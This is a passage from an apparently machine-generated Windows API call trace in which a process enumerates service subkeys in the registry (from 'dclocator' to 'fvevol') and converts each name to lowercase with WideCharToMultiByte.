lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0224.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1850, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0224.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0224.517] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0224.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0224.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0224.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0224.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0224.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0224.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0224.518] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0224.519] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0224.519] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0224.519] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0224.519] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0224.519] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0224.520] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0224.520] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0224.520] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0224.520] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0224.520] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0224.520] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0224.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0224.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0224.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0224.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0224.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0224.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0224.521] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0224.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0224.522] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0224.522] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0224.522] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0224.522] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0224.522] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0224.522] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0224.523] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0224.523] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0224.523] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0224.523] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1ad8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0224.523] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0224.523] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0224.524] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0224.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 